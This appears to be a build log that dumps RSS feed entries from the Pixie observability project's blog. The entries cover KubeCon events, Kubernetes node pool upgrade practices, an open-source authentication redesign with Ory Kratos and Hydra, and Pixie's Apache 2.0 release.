6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><alert severity=info>Recordings of the KubeCon + CloudNativeCon talks are now live! Check out this <a href=https://youtube.com/playlist?list=PLwam28KvZfrSTr5at3blIdY5YKzS2T6W->YouTube playlist</a> to watch the Pixie contributor talks.</alert><p>Pixie will be attending this year's Kubecon + Cloud NativeCon NA in Los Angeles and Virtually! Pixie was accepted to CNCF’s Sandbox in June 2021 and we have just officially completed the <a href=https://github.com/cncf/toc/issues/674>Sandbox onboarding process</a>. As a newly fledged CNCF Sandbox project, we're excited to connect with the community.</p><p>Come chat observability, eBPF, open-source, and more with Pixie’s core contributors at our booth in the <a href=https://events.linuxfoundation.org/wp-content/uploads/2021/10/KubeCon_NA_2021_Collateral_17x11_v2.pdf>Project Pavilion</a> from 10:30am-4:30pm, on all event days.</p><p>We will also be holding three events this year:</p><ul><li><a href=https://pixiehh.eventbrite.com/><strong>Pixie Happy Hour</strong></a> (Tuesday 10/12, 8:30pm @ Spire 73)<br/>\n' +

6:35:43 AM: 'Discuss Pixie, eBPF, and Kubernetes over appetizers, drinks, and sweeping views of Los Angeles from Spire 73, the tallest open-air bar in the Western hemisphere.</li><li><a href=https://kccncna2021.sched.com/event/nBuh/virtual-project-office-hours-pixie><strong>Project Office Hours</strong></a> (Wednesday 10/13, 3:30pm @ Online)<br/>\n' +

6:35:43 AM: 'We're excited to meet everyone at our office hours! We welcome all questions about Pixie, whether they're questions about what Pixie is, or low-level questions about Pixie's internal workings.</li><li><a href=https://kccncna2021.sched.com/event/lV4c/data-science-for-infrastructure-observe-understand-automate-zain-asgar-natalie-serrino-new-relic><strong>Data Science for Infrastructure: Observe, Understand, Automate</strong></a> (Friday 10/15, 11:00am @ Concourse Hall 152)<br/>\n' +

6:35:43 AM: 'Learn how Pixie's data can be transformed to high-level signals that can be used in a variety of use cases from Zain Asgar and Natalie Serrino (core contributors).</li></ul><p>Here are some of the events we'll be attending. We hope to see you at them, along with the many other exciting talks at Kubecon!</p><p><strong>Wednesday, October 13</strong></p><ul><li>11:00 am: <a href=https://kccncna2021.sched.com/event/lV1N/cloud-native-and-kubernetes-observability-panel-the-state-of-union-bartek-plotka-red-hat-liz-fong-jones-honeycomb-josh-suereth-google-frederic-branczyk-polar-signals-rags-srinivas-infoq>Cloud Native and Observability Panel: The State of the Union</a> - Bartek Plotka (Red Hat), Liz Fong-Jones (Honeycomb), Josh Suereth (Google), Frederic Branczyk (Polar Signals), Rags Srinivas (InfoQ)</li><li>2:30 pm: <a href=https://kccncna2021.sched.com/event/lV6n/tag-observability-update-matt-young-everquote-alolita-sharma-amazon>TAG Observability Update</a> - Matt Young (Evernote), Alolita Sharma (Amazon)</li><li>5:25 pm: <a href=https://kccncna2021.sched.com/event/lV1o/effortless-profiling-on-kubernetes-eden-federman-verizon>Effortless Profiling on Kubernetes</a> - Eden Federman (Verizon)</li></ul><p><strong>Thursday, October 14</strong></p><ul><li>3:25 pm: <a href=https://kccncna2021.sched.com/event/lV3J/correlating-signals-in-opentelemetry-benefits-stories-and-the-road-ahead-morgan-mclean-splunk-jaana-dogan-amazon>Correlating Signals in OpenTelemetry: Benefits, Stories, and the Road Ahead</a> - Morgan McLean (Splunk), Jaana Dogan (Amazon)</li><li>4:30 pm: <a href=https://kccncna2021.sched.com/event/lV2X/cloud-native-superpowers-with-ebpf-liz-rice-isovalent>Cloud Native Superpowers with eBPF</a> - Liz Rice (Isovalent)</li></ul><p><strong>Friday, October 15</strong></p><ul><li>11:55 am: <a href=https://kccncna2021.sched.com/event/lV8s/evolving-prometheus-for-more-use-cases-bartek-plotka-red-hat-chris-marchbanks-grafana-labs>Evolving Prometheus for More Use Cases</a> - Bartek Plotka (Red Hat), Chris Marchbanks (Grafana Labs)</li><li>3:25 pm: <a href=https://kccncna2021.sched.com/event/lV5a/beyond-printf-and-tcpdump-debugging-kubernetes-networking-with-ebpf-martynas-pumputis-aditi-ghag-isovalent>Beyond printf and tcpdump: Debugging Kubernetes Networking with eBPF</a> - Martynas Pumputis, Aditi Ghag (Isovalent)</li><li>3:25 pm: <a href=https://kccncna2021.sched.com/event/lV8I/native-instrumentation-for-open-source-software-with-opentelemetry-ted-young-lightstep-ludmila-molkova-microsoft>Native Instrumentation for Open Source Software with OpenTelemetry</a> - Ted Young (Lightstep), Ludmila Molkova (Microsoft)</li><li>5:25 pm: <a href=https://kccncna2021.sched.com/event/lV6D/beyond-the-hype-cloud-native-ebpf-frederic-branczyk-polar-signals>Beyond the Hype: Cloud Native eBPF</a> - Frederic Branczyk (Polar Signals)</li></ul>'
}

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Safer Kubernetes Node Pool Upgrades',

6:35:43 AM: date: '2022-03-28',

6:35:43 AM: description: 'Are you dreading upgrading your cluster to a newer Kubernetes version? There are a few reasons why you might be motivated to upgrade…',

6:35:43 AM: url: 'https://blog.px.dev/nodepool-upgrades/',

6:35:43 AM: guid: 'https://blog.px.dev/nodepool-upgrades/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Are you dreading upgrading your cluster to a newer Kubernetes version? There are a few reasons why you might be motivated to upgrade. Perhaps you want to do one of the following:</p><ul><li>Use a new beta API</li><li>Install an application that requires a more recent Kubernetes version</li><li>Follow the best practice of keeping your software up to date</li></ul><p>Whatever the reason, it’s worth reviewing your upgrade process to make sure you are minimizing downtime (and anxiety) during upgrades.</p><h2>Which components get upgraded?</h2><p>A Kubernetes cluster consists of a set of <strong>nodes</strong> and a <strong>control plane</strong>. The worker nodes host pods which run your containerized applications. The control plane manages the worker nodes and pods in the cluster.</p><div class=image-xl><svg title=The components of a Kubernetes cluster (from <a href="https://kubernetes.io/docs/concepts/overview/components/&quot;&gt;kubernetes.io&lt;/a&gt;). src=k8s-arch.png></svg></div><p>To upgrade a Kubernetes cluster, you’ll upgrade both of these components in the following order:</p><ol><li>Upgrade the control plane</li><li>Upgrade worker nodes</li></ol><p>For self-hosted and managed clusters, upgrading the control plane is very straightforward. This post will instead focus on minimizing downtime for the worker nodes upgrade.</p><h2>Upgrading Worker Nodes</h2><p>There are two strategies for upgrading the Kubernetes version on worker nodes:</p><ul><li>In-place upgrade (also called a rolling update)</li><li>Out-of-place upgrade</li></ul><p>For an <strong>in-place upgrade</strong>, one by one the nodes are drained and cordoned off so that no new pods will be scheduled on that node. The node is then deleted and recreated with the updated Kubernetes version. Once the new node is up and running, the next node is updated. This strategy is visualized in the animation below:</p><div class=image-m><svg title=Animation showing an in-place upgrade for the nodes in a Kubernetes cluster (from <a href="https://www.fairwinds.com/blog/how-we-learned-to-stop-worrying-and-love-cluster-upgrades&quot;&gt;Fairwinds.com&lt;/a&gt;). src=in-place-upgrade.gif></svg></div><p>The advantage of an in-place upgrade is that it requires minimal additional compute resources (a single additional node). The downside to this strategy is that it can take quite a bit of time as nodes are drained and upgraded one at a time in series. Additionally, pods may need to make more than 1 move as they are shuffled around during the draining of nodes.</p><p>For an <strong>out-of-place upgrade</strong>, a fresh node pool is created with the new Kubernetes version. Once the new nodes are all running, you can cordon the old node pool, drain the old nodes one by one, and then delete the old node pool. This strategy is visualized in the animation below:</p><div class=image-l><svg title=Animation showing an out-of-place upgrade for the nodes in a Kubernetes cluster (from <a href="https://www.fairwinds.com/blog/how-we-learned-to-stop-worrying-and-love-cluster-upgrades">Fairwinds.com</a>). src=out-of-place-upgrade.gif></svg></div><p>An out-of-place upgrade requires a temporary doubling of compute resources in exchange for a shorter upgrade window. The decrease in upgrade duration results from the parallelization of the startup time of the new upgraded nodes, as well as the minimization of the movement of the pods. In this strategy, pods make a single move from the old node to the new upgraded node.</p><p>Assuming you’re okay with the temporary increase in compute resource utilization, we recommend utilizing the out-of-place upgrade strategy to speed things up.</p><h2>Configuring K8s Resources</h2><p>Whichever worker node upgrade strategy you choose will involve shuffling of your pods from the original nodes to an upgraded node. If your resources are not properly configured, this can cause downtime. Let’s take a look at a few potential pitfalls.</p><h3>Standalone Pods</h3><p>A pod is the smallest deployable object in Kubernetes. It represents a single instance of an application running in your cluster. Pods are ephemeral; if a pod is evicted from a node, the pod does not replace itself. Because pods are not self-healing, it is not recommended that you create individual Pods directly. Instead, use a controller such as a Deployment to create and manage the Pod for you.</p><p>To minimize downtime, ensure that all your pods are managed by a ReplicaSet, Deployment, StatefulSet or something similar. Standalone pods might need to be manually rescheduled after an upgrade.</p><h3>Deployments</h3><p>Most of the pods in your cluster are likely controlled by a <a href=https://kubernetes.io/docs/concepts/workloads/controllers/deployment/>Deployment</a>. A Deployment represents a set of identical pods with no unique identities. A Deployment increases availability by managing multiple replicas of your application and deploying replacements if any instance fails.</p><p>To eliminate downtime, ensure that your applications have a <a href=https://kubernetes.io/docs/tasks/run-application/configure-pdb/>PodDisruptionBudget</a> (PDB). A PDB helps provide higher availability by limiting the number of pods of a replicated application that are down simultaneously.</p><p>For example, the following PDB declares that 80% of the pods with the <code>front-end</code> label must be available during a disruption (such as our upgrade). This ensures that the number of replicas serving load never falls below a certain percentage of the total replicas.</p><pre><code class=language-yaml>apiVersion: policy/v1\n' +

6:35:43 AM: 'kind: PodDisruptionBudget\n' +

6:35:43 AM: 'metadata:\n' +

6:35:43 AM: ' name: demo\n' +

6:35:43 AM: 'spec:\n' +

6:35:43 AM: ' minAvailable: 80%\n' +

6:35:43 AM: ' selector:\n' +

6:35:43 AM: ' matchLabels:\n' +

6:35:43 AM: ' name: front-end\n' +

6:35:43 AM: '</code></pre><p>Note that you’ll need to ensure that there are more than one replica (at least temporarily, during the upgrade) in order for the nodes to be able to be upgraded.</p><h3>Daemonsets</h3><p>A <a href=https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/>DaemonSet</a> ensures that all (or some) nodes run a copy of a pod. Daemonsets are often used for node monitoring or log collection and do not typically serve traffic. For these use cases, it’s usually acceptable to have a small gap in data during the worker node upgrade.</p><h3>StatefulSets</h3><p>A <a href=https://kubernetes.io/docs/concepts/workloads/controllers/statefulset>StatefulSet</a> is the Kubernetes controller type used to manage stateful applications, such as databases or messaging queues. Upgrading StatefulSets requires more consideration than upgrading Deployments.</p><p>To eliminate downtime, ensure that you have configured the following:</p><ol><li>Add a PodDisruptionBudget (see the explanation in the "Deployments" section). For quorum-based applications, ensure that the number of replicas running is never brought below the number needed for quorum (e.g, <code>minAvailable: 51%</code>).</li><li>Make sure you have more than one replica (at least temporarily, during the upgrade).</li><li>Ensure that any PersistentVolumes are <a href=https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#persistentvolumeclaim-retention>retained</a>.</li><li>For quorum-based applications, make sure you’ve configured a <a href=https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-readiness-probes>Readiness</a> probe.</li></ol><h4>StatefulSet Potential Incident #1</h4><p>To illustrate the importance of a PodDisruptionBudget (PDB) when upgrading a StatefulSet, let’s consider an example cluster that uses <a href=https://docs.nats.io/legacy/stan/intro>STAN</a>, a distributed messaging system.</p><p>STAN relies on a <a href=https://raft.github.io/>Raft</a> consensus for quorum, meaning that a majority (> 50%) of servers need to be available to agree upon decisions. This cluster’s STAN StatefulSet has 5 replicas. If 2 of these replicas fail, the STAN can still operate. However, if more than 2 replicas fail, STAN will not be able to reach quorum and will stop working.</p><p>Our example cluster's STAN StatefulSet does not have a PDB. With this configuration, it is possible to lose quorum during an upgrade in the following way:</p><ul><li>Given the lack of a PDB, the control plan indicates that any number of STAN pods can be disrupted.</li><li>This means that the node pool upgrade is able to disrupt more than 50% of the STAN pods at the same time. In this case, 3 of the 5 STAN pods get evicted at once when the first node is drained.</li><li>The 2 remaining STAN pods cannot maintain quorum and this causes irrecoverable loss of data.</li></ul><p>This failure mode is visualized in the animation below. The 5 squares represent the 5 STAN pods.</p><div class=image-s><svg title=Animation of a loss of quorum for a Raft application during an upgrade. The StatefulSet is missing a PDB. src=statefulset-issue-1.gif></svg></div><p>In this situation, a PDB configured with <code>minAvailable: 51%</code> would have prevented loss of quorum by ensuring that no fewer than 51% of pods are evicted at once from the node that is draining.</p><h4>StatefulSet Potential Incident #2</h4><p>To illustrate the importance of Readiness probes when upgrading StatefulSets, let’s consider the same example cluster.</p><p>Our examp'... 2373 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: OSS projects: You probably don't need to roll your own auth,

6:35:43 AM: date: '2021-04-27',

6:35:43 AM: description: 'In May 2021, we open sourced Pixie , which had previously been a closed source application with closed source dependencies. As part of that…',

6:35:43 AM: url: 'https://blog.px.dev/open-source-auth/',

6:35:43 AM: guid: 'https://blog.px.dev/open-source-auth/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>In May 2021, we open sourced <a href=https://px.dev/>Pixie</a>, which had previously been a closed source application with closed source dependencies. As part of that process, we needed to change all of those dependencies from our system. In this case, we needed to create an authentication path that didn't rely on Auth0.</p><p>When reviewing how other open source projects handled authentication, we noticed that most of them rolled their own auth. We don't think that is necessary or advisable for the vast majority of projects.</p><p>In this post we detail how we redesigned Pixie's auth to be open source compatible using existing projects. We discuss the tradeoffs of several approaches and dive into our final open source implementation. Let's start with our Auth0 design.</p><h2>Initial design with Auth0</h2><p>Adding Auth0 to Pixie was very simple. Integrating Auth0's API took less than a day and our implementation continues to work two years later. Auth0 has been incredibly easy to use throughout the entire experience.</p><p>In our original authentication scheme (<em>figure below</em>), Pixie's UI redirects to Auth0 and receives an access token back. The UI forwards the token to the Pixie Cloud backend and the backend validates the token by making a call to the external Auth0 server.</p><div class=image-l><svg title=Auth0 architecture diagram src=auth0_impl.svg></svg></div><p>Auth0 does all the heavy lifting and provides an easy way to setup different login providers - we went with Google-based Signup and Login flows. During signup, users could give us access to their name and profile picture. We incorporated this into our small profile dropdown, rounding out the user experience.</p><p>The Auth0 + Google flow was simple and worked extremely well for us. Auth0 saved development time that we later spent on our core observability product. We would recommend Auth0 to anyone who is comfortable with a hosted, third party solution.</p><h2>New requirements</h2><p>Unfortunately, Auth0 does not work for Pixie's open source offering. We don't want to require open source users to depend on remotely hosted, closed source APIs. This is especially important for our users with air-gapped clusters that cannot make external network requests. We need a standalone version of Pixie that exclusively relies on open source components.</p><p>As part of this change, we also needed to enable username and password login. Our hosted implementation requires an identity from a third-party provider (ie Google) - another dependency that breaks our open source commitment. Username / password, on the other hand, can be implemented with open source libraries and works regardless of a cluster's network connectivity.</p><h2>Options</h2><p>We considered three designs to support open sourced authentication in Pixie.</p><ol><li>Allow users to configure their own Auth0</li><li>Roll our own auth</li><li>Use an existing open source auth library</li></ol><h3>Option 1. Allow users to configure their own Auth0</h3><p>Pros</p><ul><li>Minimal changes to our design</li><li>User gets full security and feature set of Auth0</li></ul><p>Cons</p><ul><li>Adds extra burden to the user during setup, does not work "out of the box"</li><li>Does not work for air-gapped clusters</li><li>Still reliant on a third-party solution</li></ul><p>This option is compelling, but would limit our users to only those willing and able to open an Auth0 account. It also adds friction to get Pixie Cloud up and running, while also preventing network-isolated Pixie Cloud deployments. We want to open up as much access to Pixie Cloud as possible, so option 1 alone won't satisfy our needs.</p><h3>Option 2. Roll our own authentication</h3><p>Pros</p><ul><li>Can tailor a solution exactly to our own needs</li><li>Many other open source developer tools do this</li></ul><p>Cons</p><ul><li>Time-intensive to do right</li><li>Risky to get wrong</li></ul><p>While open source projects commonly implement authentication from scratch, we're wary of spending time rolling our own solution. Pixie, like all development teams, has an engineering budget that we allocate across our products. Rolling our own auth would require us to spend a large chunk of that budget on this feature, while taking on the risk of opening security vulnerabilities if done incorrectly. We would rather rely on a project that has been built by experts and has been vetted by the open source community.</p><h3>Option 3. Use an existing open source authentication library</h3><p>Pros</p><ul><li>Tested and used by other projects, unlike logic we roll ourselves</li><li>Already built</li></ul><p>Cons</p><ul><li>Need to integrate to fit into our existing flows</li></ul><p>Outsourcing logic to third-party libraries is often easier said than done. Using an off-the-shelf solution sounds appealing, but integration into an existing project requires time to learn the new system and adapt it to your specific needs. The upside is that you inherit the working knowledge of the library's developers and save yourself many pains of edge-case discovery.</p><p>In this case, we felt the benefits outweighed the disadvantages. Security is extremely important to us because we deal with sensitive user data. It was worth the effort to redesign our system to use an existing solution written by security/authentication experts.</p><p>We found that a combination of <a href=http://ory.sh>Ory</a>'s <a href=https://github.com/ory/kratos>Kratos</a> and <a href=https://github.com/ory/hydra>Hydra</a> projects best fit our needs. Many other alternatives don't provide username/password authentication, and instead rely on OAuth/OIDC. Others restrict users to pre-built UIs. Kratos and Hydra together gave us a flexible and full solution that fit our needs while also remaining accessible to anyone in the open source community.</p><h2>New authentication flow with Kratos/Hydra</h2><p>Before we jump into our implementation, let's quickly discuss Kratos and Hydra's capabilities.</p><h3>What is Kratos?</h3><p>At a high level, <a href=http://ory.sh>Ory</a>&#x27;s <a href=https://github.com/ory/kratos>Kratos</a> is an open source system for identity and user management. Kratos supports registration, login, authentication, and other user-related tasks, all through a convenient <a href=https://www.ory.sh/kratos/docs/reference/api/>REST API</a>. At the moment, Pixie only uses Kratos for username/password-based authentication, but Kratos also supports login with third-party identity providers through OIDC (ie Google Identity Platform).</p><p>Unlike our Auth0 use-case, Kratos uses stateful session cookies rather than stateless access tokens to store identity information. The most important difference is that session cookies require a service roundtrip to check authorization, while access tokens like JWTs can be verified at the endpoint, reducing the latency necessary to access an authenticated endpoint. (You can learn more about the difference <a href=https://dzone.com/articles/cookies-vs-tokens-the-definitive-guide>here</a>).</p><p>Our auth design incorporates JWTs for their performance advantage, but Kratos only provides the session-cookie option. We fill this gap with Hydra.</p><h3>What is Hydra?</h3><p><a href=https://github.com/ory/hydra>Hydra</a>, another project by <a href=http://ory.sh>Ory</a>, is an open source OAuth 2.0 server and OpenID Connect provider. Hydra does not come packaged with identity or user management - instead it completely focuses on enabling API access to the OAuth flows and expects users to come with their own identity solutions (such as Kratos). An added benefit is that the project is very mature and also in production <a href=https://github.com/ory/hydra#whos-using-it>at several notable companies.</a> We use Hydra in Pixie Cloud to create the stateless access tokens we use for auth in the rest of our backend. However, we had to do some work to convert the Kratos session cookies into the access tokens.</p><h3>Integrated Kratos/Hydra design</h3><p>The Kratos maintainers <a href=https://github.com/ory/kratos/issues/273>intend to build an explicit integration between Hydra and Kratos</a>, and they've <a href=https://github.com/ory/kratos-selfservice-ui-node/tree/hydra-integration>prototyped an integration in Javascript</a>. However, (at the time of writing) the integration is still a work in progress so we needed to build it ourselves.</p><p>We document our design here for reference in case future readers also want an access token based, open source, auth solution.</p><h3>Example login flow</h3><div class=image-xl><svg title=Auth0 architecture diagram src=kratos_login_flow.svg></svg></div><p>The Hydra/Kratos integration is complex, so it's easiest to demonstrate with an example. Let's break down a successful login flow. <em>The steps match the diagram above.</em></p><ol><li>User submits a form with their username and password to Kratos.</li><li>Kratos logs in the user, sets the session cookie, and redirects the user to an endpoint on the Pixie backend API service.</li><li>Pixie's API service requests Kratos to validate the session cookie.</li><li>Kratos responds that the cookie is valid and the user is authenticated.</li><li>Pixie's API service tells Hydra to acc'... 3043 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Open sourcing Pixie under Apache 2.0 license',

6:35:43 AM: date: '2021-05-04',

6:35:43 AM: description: 'We are thrilled to announce that Pixie has officially been open sourced by New Relic. Pixie is an in-cluster observability platform for…',

6:35:43 AM: url: 'https://blog.px.dev/open-source-release/',

6:35:43 AM: guid: 'https://blog.px.dev/open-source-release/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>We are thrilled to announce that Pixie has officially been open sourced by New Relic. Pixie is an in-cluster observability platform for Kubernetes. It's designed to be a low friction tool for developers to debug and monitor their applications.</p><p>As a quick background for those new to the project, here are Pixie's three most important capabilities:</p><h3>Auto-Instrumentation</h3><p>Manually adding instrumentation to existing codebases can be a burden for teams. Pixie provides immediate, significant baseline visibility into the target system. Once deployed, it automatically collects full-body application requests from a variety of protocols, system metrics, and network-level data. Pixie's auto-instrumentation is powered by eBPF, a Linux kernel technology popularized by Brendan Gregg.</p><h3>Fully Scriptable</h3><p>As developers, we wanted Pixie to be a fully programmatic interface so that it can better fit into our own workloads. Pixie uses a Pythonic query language called PxL, based on Pandas syntax. All of Pixie's clients (CLI, API, and web UI) use PxL scripts to analyze data. Pixie ships with a rich set of PxL scripts out of the box, but users can also write their own PxL scripts to perform custom analysis. PxL also serves as the interface for importing and exporting Pixie data to other systems.</p><h3>In-Cluster Edge Compute</h3><p>Shipping large amounts of telemetry data to remote data stores often introduces a significant burden on the network as well as privacy concerns when the data is sensitive. Pixie performs all data storage and computation entirely on the user’s Kubernetes cluster. This architecture allows the user to isolate data storage and computation within their environment for finer-grained context, faster performance, and a greater level of data security.</p><h2>What is being open sourced?</h2><p>With today's release, it is now possible to run an entirely self-hosted version of Pixie without third-party dependencies or vendor lock-in.</p><p>Here is a summary of the major components we have made available:</p><ul><li><strong>Vizier</strong> - Pixie's in-cluster data collection and query engine. Vizier runs on a Kubernetes cluster and collects data, stores it locally within the cluster, and executes queries for Pixie clients (CLI, API, web UI).</li><li><strong>Pixie Cloud</strong> - Pixie's cloud is responsible for managing users, profiles, projects, and other administrative parts of the application.</li><li><strong>Pixie Docs</strong> - Documentation for the OSS project.</li><li><strong>Pixie Website</strong> - OSS project website.</li></ul><p>Users can choose to self-host Pixie entirely, or to run Vizier in conjunction with Pixie Cloud hosted by New Relic to reduce management burden. New Relic-hosted Pixie will remain entirely free, and users can choose to send data to New Relic One.</p><ul><li>Reference docs for the hosted version of Pixie will continue at <a href=https://pixielabs.ai>pixielabs.ai</a> and <a href=https://docs.pixielabs.ai>docs.pixielabs.ai</a>.</li><li>In order to preserve vendor neutrality for OSS Pixie, reference docs for the OSS version of Pixie will live at <a href=https://px.dev>px.dev</a> and <a href=https://docs.px.dev>docs.px.dev</a>.</li></ul><p>The blog and website assets look similar today, but we expect them to diverge over time as the OSS project develops.</p><h2>Why open source?</h2><p>Our vision for Pixie is to build a ubiquitous data platform for application infrastructure. We hope that developers will build new applications that use Pixie data in ways we haven't thought of yet. In terms of building a community around Pixie, it was important to make Pixie accessible to any developer using Kubernetes. In order to support these goals, we decided to open source the project. New Relic boldly supported this decision as part of acquiring Pixie Labs in December 2020. After the acquisition, New Relic also committed to ensuring that the entire Pixie Labs team remain 100% focused on the Pixie project.</p><p>Here are three decisions we made in order to preserve the integrity of Pixie as an open source project:</p><ul><li><strong>Apache 2.0 License</strong>: Pixie is an Apache 2.0 Licensed project.</li><li><strong>Contributing Pixie to CNCF</strong>: New Relic <a href=https://github.com/cncf/toc/issues/651>started the process</a> to contribute Pixie as a new CNCF observability open source Sandbox project. CNCF is the home for cloud-native open source projects dedicated to vendor neutrality.</li><li><strong>Built to integrate with other tools</strong>: We are working to add support to export data to OpenTelemetry. This will allow Pixie data to easily interoperate with data collected by other observability tools. We have a Grafana data-source plugin under development and will be building a native Prometheus integration. Developers can also use our client API in order to easily export Pixie data anywhere.</li><li><strong>Cross-vendor governance structure</strong>: Pixie's board is made up of 2 members from the Pixie team (<a href=https://twitter.com/zainasgar>Zain Asgar</a> and <a href=https://twitter.com/michelle_aimi>Michelle Nguyen</a>), 2 community members (<a href=https://twitter.com/kelseyhightower>Kelsey Hightower</a> and <a href=https://twitter.com/rakyll>Jaana Dogan</a>), and 2 end-user community members (currently <a href=https://twitter.com/cloudmarooned>Dax McDonald</a>).</li></ul><p>We believe that by contributing Pixie as a truly open source project to the community, we can maximize the impact it has. We hope to see it power entirely new applications build on top of the data we collect.</p><h2>Getting started</h2><p>Here are some materials to get started with our OSS version of Pixie:</p><ul><li><a href=https://docs.px.dev/about-pixie/what-is-pixie/>About Pixie</a></li><li><a href=https://docs.px.dev/installing-pixie/quick-start/>Quick-start guide</a></li><li>Tutorials<ul><li><a href=https://docs.px.dev/using-pixie/using-cli/>Using the CLI</a></li><li><a href=https://docs.px.dev/using-pixie/using-live-ui/>Using the web UI</a></li><li><a href=https://docs.px.dev/using-pixie/api-quick-start/>Using the API</a></li><li><a href=https://docs.px.dev/tutorials/pxl-scripts/>Writing a PxL script</a></li><li><a href=https://docs.px.dev/tutorials/slackbot-alert/>Pixie-powered Slackbot</a></li></ul></li></ul><p>As mentioned earlier, docs for our hosted solution can be found at <a href=https://pixielabs.ai>pixielabs.ai</a>.</p><h3>Acknowledgements</h3><p>We would like to thank all of our users for their feedback and help in building Pixie. Big thanks to our advisors, Kelsey Hightower and Jaana Dogan, as well as the entire Pixie team. Thanks to New Relic for supporting our open source vision for Pixie. Finally, thank you to Brendan Gregg for his trailblazing work with eBPF.</p>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Put a Little Pixie in Your Cluster: Auto-Telemetry for Live-Debugging Distributed Environments',

6:35:43 AM: date: '2020-05-06',

6:35:43 AM: description: In this guest blog post, infrastructure crime-fighter John Arundel, of Bitfield Consulting , enlists Pixie's help to solve the Case of the…,

6:35:43 AM: url: 'https://blog.px.dev/pixie-intro/',

6:35:43 AM: guid: 'https://blog.px.dev/pixie-intro/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>In this guest blog post, infrastructure crime-fighter John Arundel, of <a href=https://bitfieldconsulting.com>Bitfield Consulting</a>, enlists Pixie's help to solve the Case of the Sluggish Service.</p><h2>Episode 1: The Wire</h2><blockquote><p><em>I'm gonna show you as gently as I can how much you don't know.</em><br/>\n' +
'—Cutty</p></blockquote><p>It ain't easy being a cop. An infrastructure cop, that is. Every day on the beat, we deal with SLA parole violations, DDoS attacks, CPU stealing. Even the occasional cache poisoning.</p><div class=image-m><p><figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

